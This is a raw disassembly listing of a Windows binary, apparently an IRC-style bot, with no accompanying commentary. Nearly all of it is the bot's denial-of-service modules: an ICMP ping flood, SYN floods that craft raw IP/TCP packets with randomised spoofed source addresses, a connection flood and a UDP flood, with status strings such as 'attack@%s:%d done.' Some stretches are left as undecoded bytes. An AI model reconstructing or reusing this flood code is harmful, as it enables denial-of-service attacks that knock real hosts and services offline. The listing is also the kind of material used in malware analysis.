		jz	short loc_427928
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427928:				; CODE XREF: ___:0042791Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427940	proc near		; CODE XREF: sub_4011FEj ___:0040209Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4020AE
		test	[esp+4+arg_0], 1
		jz	short loc_427958
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427958:				; CODE XREF: sub_427940+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427970	proc near		; CODE XREF: sub_4020AEj
		jmp	sub_4014CE
sub_427970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427990	proc near		; CODE XREF: sub_401A50j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40183E
		add	esp, 10h
		test	eax, eax
		jz	short loc_427A54
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_427A6E
; ---------------------------------------------------------------------------


loc_427A54:				; CODE XREF: sub_427990+9Aj
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_427A6E:				; CODE XREF: sub_427990+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427990	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B10	proc near		; CODE XREF: sub_401E9Cj

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_437B30
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27E0977h
		mov	esi, eax
		test	esi, esi
		jz	short loc_427B7A
		mov	edi, dword_511918
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_51011C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_510120, eax
		call	edi
		mov	ecx, dword_51011C
		mov	dword_510118, eax
		test	ecx, ecx
		jz	short loc_427B7A
		mov	edx, dword_510120
		test	edx, edx
		jz	short loc_427B7A
		test	eax, eax
		jz	short loc_427B7A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_427B85


loc_427B7A:				; CODE XREF: sub_427B10+1Bj
					; sub_427B10+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_427B85:				; CODE XREF: sub_427B10+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_427B9C
		mov	[esp+24h+arg_FFE8], eax


loc_427B9C:				; CODE XREF: sub_427B10+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_427BAF
		mov	ebp, 1


loc_427BAF:				; CODE XREF: sub_427B10+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_427BF4


loc_427BC0:				; CODE XREF: sub_427B10+E2j
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_427BF4
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_510118	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_427BC0


loc_427BF4:				; CODE XREF: sub_427B10+AEj
					; sub_427B10+B7j
		push	edi
		call	dword_510120	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_427B10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C50	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E9C
		add	esp, 14h
		retn
sub_427C50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C90	proc near		; CODE XREF: sub_401BDBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	nullsub_10
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427C90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427D00:				; CODE XREF: ___:00401A28j
					; ___:00401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401807
		test	byte ptr [esp+8], 1
		jz	short loc_427D18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427D18:				; CODE XREF: ___:00427D0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427D30	proc near		; CODE XREF: sub_401807j
		jmp	sub_4014CE
sub_427D30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427D50	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E7D8F
		mov	[esp+2Ch+var_28], eax


loc_427D76:				; CODE XREF: sub_427D50+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_427D87
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E86EF
		jl	short loc_427D76


loc_427D87:				; CODE XREF: sub_427D50+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_427F39
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E7D1Bh[eax*8]
		call	sub_4017EE
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		call	near ptr 71AB2B66h
		nop
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_427DF0
		mov	dword ptr [ebp+68h], 5


loc_427DF0:				; CODE XREF: sub_427D50+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_510128
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_510328
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 2790AA9h
		test	eax, eax
		mov	dword_51032C, eax
		jz	short loc_427E8B
		push	offset dword_448F34
		push	5
		push	eax
		push	0
		push	offset dword_510128
		call	sub_4013F2
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427E8B:				; CODE XREF: sub_427D50+11Dj
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_427EBB:				; CODE XREF: sub_427D50+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_40142E
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_427F39:				; CODE XREF: sub_427D50+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FD0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E7D1Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428066
		push	ebp
		call	near ptr 71AB4FD4h
		nop
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42805F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42805F:				; CODE XREF: sub_427FD0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428066:				; CODE XREF: sub_427FD0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_428116
		mov	ebx, dword_511C3C


loc_428085:				; CODE XREF: sub_427FD0+140j
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_428116
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42809B:				; CODE XREF: sub_427FD0+EFj
		push	0
		push	1
		push	2
		call	ebx
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4280BB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB4519h
		nop


loc_4280BB:				; CODE XREF: sub_427FD0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42809B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280CA:				; CODE XREF: sub_427FD0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_4280CA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 284020Fh
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280F3:				; CODE XREF: sub_427FD0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_4280F3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_428085


loc_428116:				; CODE XREF: sub_427FD0+A9j
					; sub_427FD0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427FD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281A0	proc near		; CODE XREF: sub_401DF2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F10C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4281A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428210	proc near		; CODE XREF: ___:004016E5j sub_40182Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_428228
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428228:				; CODE XREF: sub_428210+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428210	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428240	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014CE
sub_428240	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428260	proc near		; CODE XREF: sub_401EB0j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_401DCF
sub_428260	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4283D0	proc near		; CODE XREF: sub_401BC7j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021C6
sub_4283D0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_428461
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_428461:				; CODE XREF: ___:00428441j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_428494
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_428494:				; CODE XREF: ___:00428485j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284B7


loc_4284AA:				; CODE XREF: ___:0042865Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4284B7:				; CODE XREF: ___:004284A8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_511C38
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 27E0CD4h
		mov	[esp+48h], eax
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_42870B
		mov	ebx, dword_511AC8
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_428555
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_428555:				; CODE XREF: ___:00428551j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp
		push	14h
		mov	[esp+3Ah], ax
		call	ebp
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp
		mov	[esp+34h], ax
		call	ebx
		mov	edi, eax
		shl	edi, 10h
		call	ebx
		or	edi, eax
		push	edi
		call	ebp
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A37
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A37
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4284AA
		nop
		call	near ptr 27E0CD4h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_428707
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4286A9
		push	2710h
		push	3E8h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4286A9:				; CODE XREF: ___:0042868Ej
		push	0FFh
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 7B15E890h, 0B9A00241h, 84004D84h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_428707:				; CODE XREF: ___:00428686j
		mov	edi, [esp+18h]


loc_42870B:				; CODE XREF: ___:0042853Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428810	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40188E
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_428831
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_428831:				; CODE XREF: sub_428810+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BC7
sub_428810	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428880	proc near		; CODE XREF: sub_40178Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F11C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4288F0	proc near		; CODE XREF: ___:004014F6j sub_40224Dj

